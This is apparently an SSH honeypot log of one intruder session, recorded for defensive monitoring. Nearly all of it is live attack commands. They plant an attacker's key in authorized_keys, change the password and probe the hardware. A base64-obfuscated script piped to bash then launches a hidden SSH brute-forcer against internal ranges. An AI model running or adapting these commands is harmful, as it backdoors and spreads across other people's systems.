sshoney · ssh honeypot telemetry

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19:08:30 $ cd ~; chattr -ia .ssh; lockr -ia .ssh
19:08:30 $ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
19:08:35 $ cat /proc/cpuinfo | grep name | wc -l
         8
19:08:35 $ echo -e "accounting\nqVUmF3WgETVq\nqVUmF3WgETVq"|passwd|bash
19:08:36 $ echo "accounting\nqVUmF3WgETVq\nqVUmF3WgETVq\n"|passwd
19:08:36 $ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
         AMD EPYC 7713 64-Core Processor
19:08:37 $ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
                        15888        4102        8791         517        2996        4415  (672ms)
19:08:38 $ ls -lh $(which ls)
         lrwxrwxrwx 1 root root 7 Apr 18  2026 /usr/bin/ls -> /bin/ls  (609ms)
19:08:39 $ crontab -l
         crontab -l
19:08:39 $ w
          19:08:39 up 4 days, 15:58,  0 user,  load average: 0.2, 0.14, 0.17
         USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
19:08:40 $ uname -m
         x86_64
19:08:40 $ cat /proc/cpuinfo | grep model | grep name | wc -l
         8
19:08:40 $ top
         top - 19:08:40 up 4 days, 15:58,  0 user,  load average: 0.2, 0.14, 0.17
         Tasks: 106 total,   1 running, 105 sleeping,   0 stopped,   0 zombie
         %Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st
         MiB Mem :    15888 total,    8738 free,    7149 used
         MiB Swap:    4095 total,    4095 free,        0 used
         
             PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
               1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd
             742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx
             889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres
            1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node
         ^C
19:08:41 $ uname
         Linux
19:08:41 $ uname -a
         Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
19:08:42 $ whoami
         accounting
19:08:42 $ lscpu | grep Model
         Model name:                            AMD EPYC 7713 64-Core Processor
         Model name:                            AMD EPYC 7713 64-Core Processor
         Model name:                            AMD EPYC 7713 64-Core Processor
         Model name:                            AMD EPYC 7713 64-Core Processor
         Model name:                            AMD EPYC 7713 64-Core Processor
         Model name:                            AMD EPYC 7713 64-Core Processor
         Model name:                            AMD EPYC 7713 64-Core Processor
         Model name:                            AMD EPYC 7713 64-Core Processor  (888ms)
19:08:43 $ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
         24G  (465ms)
19:08:45 $ echo "accounting accounting" > /tmp/up.txt
19:08:46 $ rm -rf /var/tmp/dota*
19:08:47 $ cat /var/tmp/.systemcache436621
         {"session":"muck-out","pid":24819,"state":"running","target":"brumby","notes":"cron feed-cycle.timer next=2026-08-24T19:30:00Z"}  (801ms)
19:08:48 $ cat /var/tmp/.systemcache436621
         {"session":"muck-out","pid":24819,"state":"running","target":"brumby","notes":"cron feed-cycle.timer next=2026-08-24T19:30:00Z"}  (625ms)
19:08:49 $ echo "1" > /var/tmp/.systemcache436621
19:08:50 $ cat /var/tmp/.systemcache436621
         {"session":"muck-out","pid":24819,"state":"running","target":"brumby","notes":"cron feed-cycle.timer next=2026-08-24T19:30:00Z"}  (988ms)
19:08:51 $ cat /var/tmp/.systemcache436621
         {"session":"muck-out","pid":24819,"state":"running","target":"brumby","notes":"cron feed-cycle.timer next=2026-08-24T19:30:00Z"}  (708ms)
19:08:52 $ sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw" | base64 --decode | bash
19:09:01 $ whoami
         accounting